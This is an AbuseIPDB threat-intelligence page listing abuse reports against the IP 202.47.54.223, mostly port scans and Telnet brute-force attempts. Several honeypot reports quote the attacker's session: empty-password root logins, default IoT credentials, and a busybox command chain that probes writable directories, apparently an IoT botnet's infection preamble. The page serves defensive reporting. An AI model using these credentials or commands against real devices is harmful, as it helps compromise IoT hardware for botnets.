JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 202.47.54.223

202.47.54.223 was found in our database!

This IP was reported 42 times. Confidence of Abuse is 96%: ?

96%

ISP	Cyber Internet Services Pakistan
Usage Type	Fixed Line ISP
ASN	AS9541
Domain Name	cyber.net.pk
Country	🇵🇰 Pakistan
City	Karachi, Sindh

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 202.47.54.223

Whois 202.47.54.223

IP Abuse Reports for 202.47.54.223:

This IP address has been reported a total of 42 times from 24 distinct sources. 202.47.54.223 was first reported on January 26th 2025, and the most recent report was 16 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇷🇸 Smel	2026-10-22 02:45:09 (16 hours ago)	MH/MP Probe, Scan, Hack -	Port Scan Hacking
🇩🇪 nxvr	2026-10-21 12:51:36 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'Zte521', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 12:21:31 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'gpon', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 10:21:05 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'svgodie', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 08:35:53 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='666666', password= ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='666666', password=''. Commands attempted: '666666', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 07:35:46 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password='' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='root', password=''. Commands attempted: 'zyad1234', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇩🇪 nxvr	2026-10-21 06:35:41 (1 day ago)	Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='admin', password=' ... show more Telnet Honeypot caught unauthorized access / brute-force. Credentials used: user='admin', password=''. Commands attempted: '1234567890', 'start', 'enable', 'config terminal', 'system', 'linuxshell', 'su', 'shell', 'sh', '>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\x49\x57\x46\x58\x44\x46'' (+2 more) show less	Brute-Force IoT Targeted
🇦🇹 begou.dev	2026-10-21 05:19:31 (1 day ago)	[Threat Intelligence] Port Scanning and/or Unauthorized access -> TCP/23	Port Scan
🇺🇸 RAP	2026-10-20 22:13:00 (1 day ago)	2026-10-20 22:13:00 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-10-19 08:48:33 (3 days ago)	2026-10-19 08:48:33 UTC Unauthorized activity to TCP port 23. Telnet	Port Scan
🇺🇸 RAP	2026-10-19 03:44:03 (3 days ago)	2026-10-19 03:44:03 UTC Unauthorized activity to TCP port 2323. Telnet	Port Scan
🇺🇸 xmission.com	2026-10-18 16:39:25 (4 days ago)	Blocked by UFW (TCP on 2323) Source port: 63098 TTL: 46 Packet length: 40 TOS: 0x00 This report (fo ... show more Blocked by UFW (TCP on 2323) Source port: 63098 TTL: 46 Packet length: 40 TOS: 0x00 This report (for 202.47.54.223) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 LSPCCU	2026-10-17 17:21:34 (5 days ago)	TSEC Honeypot Network report. Threat score: 98/100. Categories: Port Scan, Hacking, Brute-Force, Exp ... show more TSEC Honeypot Network report. Threat score: 98/100. Categories: Port Scan, Hacking, Brute-Force, Exploited Host, Web App Attack, SSH. Honeypot: cowrie. Context: 202.47.54.223 classified as malware delivery infrastructure dropping payloads on compromised hosts (high confidence). show less	Port Scan Hacking Brute-Force Exploited Host Web App Attack SSH
🇺🇸 NetVexor	2026-10-16 16:29:15 (6 days ago)	Attack source identified and submitted via NetVexor BGP Blackhole Network	Port Scan Hacking Brute-Force
🇫🇷 security.rdmc.fr	2026-10-15 13:28:28 (1 week ago)	Port Scan Attack proto:TCP src:38166 dst:23	Port Scan

Showing 1 to 15 of 42 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇲🇼 168.253.224.242

🇫🇮 147.185.133.104

🇫🇷 91.196.152.23

🇲🇾 49.124.147.110

🇧🇪 35.189.229.134

🇧🇷 16.5.0.215

🇺🇸 209.87.169.64

🇲🇾 202.165.28.182

🇲🇽 201.124.171.198

🇹🇼 198.235.24.48

🇪🇨 186.68.83.105

🇫🇷 91.231.89.198

🇷🇴 80.94.95.115

🇺🇸 35.130.192.180

🇧🇪 34.156.51.173

🇰🇷 14.35.22.152

🇬🇧 195.96.139.95

🇺🇸 172.245.16.101

🇩🇪 128.1.34.69

🇬🇧 118.193.65.175